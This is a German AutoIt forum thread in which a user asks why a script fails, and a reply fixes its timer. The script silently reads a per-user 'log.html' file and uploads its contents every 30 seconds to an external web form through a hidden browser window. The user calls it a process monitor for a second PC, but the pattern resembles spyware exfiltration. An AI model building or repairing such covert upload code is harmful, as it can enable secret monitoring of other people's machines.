Seltsamer Fehler aka Sen = Blind.

  • Mein Kopf qualmt schon.. ich hab keine
    Ahnung wo in folgendem Script der Fehler ist:

    [autoit]


    #include <IE.au3>
    #include <Timers.au3>

    Local $log = @UserName & "log.html"
    $Inhalt = FileRead($log)

    While 1
    $Timer = TimerInit()

    If TimerDiff($Timer) > "30000" Then
    MsgBox(0, "", $Timer)
    $oIE = _IECreate('http://sen.pytalhost.de/Ghost/index.php', "", "0")
    $oForm = _IEFormGetCollection($oIE, 0)
    $oTextarea = _IEFormElementGetObjByName($oForm, "notiz")
    _IEFormElementSetValue($oTextarea, $Inhalt)
    _IEFormSubmit($oForm)
    _IEQuit($oIE)
    $Timer = _Timer_Init()
    Exit
    EndIf
    WEnd

    [/autoit]

    Bevor die Frage kommt "Wofür brauch man sowas?"
    Ich habe vor ein Tool zu schreiben das ich auf meinem 2ten Pc laufen lassen
    kann welches immer die aktuellen Prozesse anzeigt etc.

    So brauch ich nicht immer zwischen den Pc's hin&her laufen :D

  • Spoiler anzeigen
    [autoit]

    #include <IE.au3>

    Local $log = @UserName & "log.html"
    $Inhalt = FileRead($log)

    [/autoit] [autoit][/autoit] [autoit]

    Local $Timer = TimerInit()

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    If TimerDiff($Timer) > 30000 Then
    $oIE = _IECreate('http://sen.pytalhost.de/Ghost/index.php', "", "0")
    $oForm = _IEFormGetCollection($oIE, 0)
    $oTextarea = _IEFormElementGetObjByName($oForm, "notiz")
    _IEFormElementSetValue($oTextarea, $Inhalt)
    _IEFormSubmit($oForm)
    _IEQuit($oIE)
    $Timer = TimerInit()
    EndIf
    WEnd

    [/autoit]


    Wofür soll denn das _Timer_Init gut sein?? Entweder Standard-Funktionen oder UD-unktionen, aber nicht mischen!
    Außerdem nicht jeden Zyklus den Timer neu initialisieren ;)